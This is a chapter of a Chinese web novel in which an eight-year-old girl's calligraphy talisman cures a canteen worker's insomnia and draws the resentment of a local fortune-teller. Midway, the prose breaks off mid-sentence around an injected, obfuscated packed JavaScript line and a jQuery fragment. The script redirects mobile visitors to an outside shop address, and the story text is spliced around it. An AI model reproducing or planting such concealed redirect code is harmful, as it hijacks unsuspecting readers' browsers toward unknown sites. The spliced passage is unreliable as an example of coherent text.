刘婶的失眠不是一天两天了。
厂里的人都知道，三楼的刘桂芳，四十出头，在食堂帮厨，干活麻利，人也好说话。但她有个毛病：失眠。严重的那种。
听说她从三年前就开始睡不着了。一开始入睡困难，后来变成整夜睁着眼。安眠药一开始管用，后来也没用了。
在院子里碰到，刘婶总是笑着打招呼，但眼下的青黑藏不住。她的脸色是那种长期缺睡的人特有的灰败。
"刘婶又没睡好？"母亲有时候会问。
刘婶就笑笑："老样子。"然后岔开话题。
那天下午，刘婶从外面回来，走路步子很慢，每一步都在用力。
"刘婶。"
"小清啊。"刘婶笑了笑。她的眼睛布满血丝。
"你还是睡不着吗？"
刘婶愣了一下，然后笑了："你怎么知道的？"
"你看起来没睡好。"
刘婶叹了口气。"三年了。吃什么都没有。安眠药也不管用了。"
她走了两步又停下来，回头看了张清一眼。
"小清，你上次给隔壁小虎写的那张字。真的管用吗？"
张清看着她。刘婶的眼神里有怀疑，但更多的是绝望。三年没睡好觉的人，什么都愿意试。
"我也给你写一张。"
刘婶站在那里，想了很久。最后她点了点头。
"行。反正也没什么可失去的了。"
那天晚上，张清在房间里写了一张"安字符"。
这次用的是好纸，她专门从母亲那里要来的白纸。母亲问她干什么用，她说写字。母亲没再问。
她磨了墨，开始写。
她在写"安"字，但用的不是普通的写法。她把图录里"安字符"的笔路融进了楷书的"安"字里。主线条用中锋，辅线条用侧锋。每一笔都按照图录上的气路走。
写"安"字的时候，她能感觉到笔尖下的墨在往下沉，有个东西在往纸里钻。
写完最后一笔的时候，她长长地吐了口气。专注了这么久，额头出了一层细汗。
她把纸拿起来看了看。纸上的墨迹还在微微流动。但比描图的时候弱一些，因为她是在"写"而不是"描"。写的时候需要分心去想字的结构，专注度不如描图的时候高。
但应该够用了。
她把纸折好，放在桌上晾着。然后她去洗了把脸，坐在窗前发呆。窗外的月亮很圆。厂区的路灯把树影投在地上，风一吹就晃。远处车间的烟囱还在冒烟，夜班开始了。
她想了想刘婶的脸。那张灰败的、眼下发青的脸。三年没睡好觉的人，是什么感觉？她想象不出来。她从小睡得都很好，沾枕头就着。
但她知道那种感觉。很想做一件事，但怎么也做不到。就像她小时候想写好"永"字，怎么写都不对。但写字可以练，睡觉怎么练？
所以她决定帮她。
第二天早上，她把纸交给了刘婶。
刘婶接过纸，小心翼翼地展开。纸上是一个"安"字，笔画的走势有点奇怪，不像普通的楷书，倒像画了一个什么图形。
"这能行？"她问。但语气是期待。
"试试。放在枕头下面。"
刘婶把纸折好放进上衣口袋里。她看了张清一眼，想说什么，但没说。
当天晚上，刘婶睡了。
一种自然的、沉到水底的睡眠。她躺下去的时候脑子还在转，想着明天食堂要蒸多少馒头，想着女儿的作业写完了没有。但想着想着，那些念头就慢慢散了，被什么东西托住了。
她做了一个梦。梦里什么都没有，只有安静。浑身都松了。
然后她醒了。一觉到天亮。
早上醒来的时候，刘婶愣了整整三分钟。她躺在床上看着天花板，好像做了一场很长的梦，什么都不记得了。只记得一个感觉：安静。
她翻了个身，看到枕头下面那张纸。纸上的墨迹已经干了，不动了。
她拿起纸，看了很久。然后她哭了。
三年了。她第一次睡了一个完整的觉。真正的、从心底里觉得安宁的睡眠。她已经忘了这种感觉是什么了。
她哭了一会儿，然后起来洗脸。镜子里的她还是那个样子，眼下发青。但她知道，今晚她会继续睡。
她把纸折好，贴身带着，放在上衣口袋里，贴着心口。
刘婶的哭声把隔壁的李婶引来了。
"怎么了？"
"我睡着了。"刘婶说。声音里有释然，也有委屈。"我睡了整整一夜。"
"怎么睡着的？"
刘婶拿出枕头下的纸。"小清写的。"
李婶接过纸看了看。"一个八岁丫头写的字？"想了想又说，"上次小虎夜哭，也是小清写的字。当天就不哭了。"
刘婶看着那张纸，目光变了。
消息传得很快。
两天之内，厂里好几个人都知道了，三楼的刘桂芳，失眠三年，被隔壁老张家的小孩一张字治好了。
有人不信："扯淡。一张纸能治失眠？"
有人半信半疑："说不定是巧合。"
有人想试："能不能让那丫头也给我写一张？"
有人在背后议论："老张家那丫头，是不是有点什么门道？"
刘婶第二天又去找张清，塞给她一袋鸡蛋。
"小清，这是自家鸡下的。你拿着。"
张清没要。"不用。"
"拿着。"刘婶把鸡蛋塞到她手里。她的手很粗糙，是在食堂干活磨出来的。"你不知道，这三年我有多难受。"
她的眼圈又红了。
张清收了鸡蛋。母亲看到了，问了一句。张清说是刘婶给的。母亲没说话，但眼里压着担忧。
但消息也传到了另一个人耳朵里。
那个人叫马德顺，厂区附近的人叫他"马半仙"。四十来岁，瘦高个，脸上总是带着一种说不清的笑。不是善意的笑，是那种"我知道你们不知道的事"的笑。
他自称会"看事儿"。谁家的风水不好，谁家的人冲了什么，他都看。收费不低，看一次少则几十，多则几百。厂里不少人找他看过，有用没用不知道，但没人公开说没用。
马半仙听说刘婶的失眠被一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809172|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
八岁丫头治好了，脸色很不好看。
他在厂区门口碰到了刘婶。
"刘姐，听说你失眠好了？"
刘婶点点头。"好了。"
"找谁看的？"
"没找谁。"刘婶犹豫了一下。她不想说是张清。
"我听说是一个小丫头写的字？"马半仙笑了笑。那种笑让人不舒服。
刘婶没说话。
"刘姐，那种东西不靠谱。失眠得找专业的人看。写几张字就能好？巧合。"
刘婶看着他，没说话。但她心里想的是：三年了，你马半仙也给我看过，收了二百块钱，管用吗？
马半仙看出了她的想法。他的脸色变了一下。
"那种来路不明的东西，少碰。搞不好要出事的。"
然后他走了。
刘婶站在厂区门口，摸了摸口袋里的纸。她已经随身携带了两天。她决定不告诉马半仙。
那天下午，张清在院子里写字。父亲坐在旁边看报纸。
"写什么呢？"
"练字。"
"给我看看。"
张清把纸递过去。父亲看了看，没说好也没说不好，把纸还给她，继续看报纸。
但张清注意到，父亲看报纸的时候，眼睛没有动。他在想事情。
"爸。你觉得我写的字怎么样？"
父亲放下报纸，看着她。"你想听真话？"
"想。"
"你的字比以前好了。不只是好看，是有东西了。"
张清愣了一下。这是她第一次听到父亲说她"有东西了"。
"什么东西？"
父亲没回答。他站起来，进屋了。
张清看着父亲的背影消失在门后。她不知道父亲说的"东西"是什么。但她知道，父亲看到了什么。
那天晚上，母亲敲门进来。
"小清，刘婶给你送鸡蛋了？"
"嗯。"
"你帮她治了失眠？"
张清停下笔。"不是我治的。就是写了张字。"
母亲看着她，像是在做诊断。她是医生，不信这些。但她知道自己的女儿，这个八岁的孩子，好像有什么她不懂的东西。
"你别乱来。"她最后说。
"我没有乱来。"
"那你自己知道就好。"母亲转身出去了。
张清看着母亲的背影，心里有点不安。
马半仙不会善罢甘休的。她看得出来，那个人的眼睛里亮得不正常，亮得空洞，像是淬了火的刀刃。那种亮里面藏着的，是恨。
她拿起笔，继续写字。笔尖触纸的时候，那股微弱的跳动又从笔杆传过来。
她忽然想到了一件事。马半仙今天跟刘婶说话的时候，身上什么气都没有。干干净净的，像一个空壳。
她放下笔，在笔记本上写了一行字：
"马半仙。身上没有气。空的。"
然后她合上笔记本，关了灯。窗外月光很亮。她躺在床上，听着蝉鸣，很久没有睡着。
她不怕。但她知道，有些事情，已经开始了。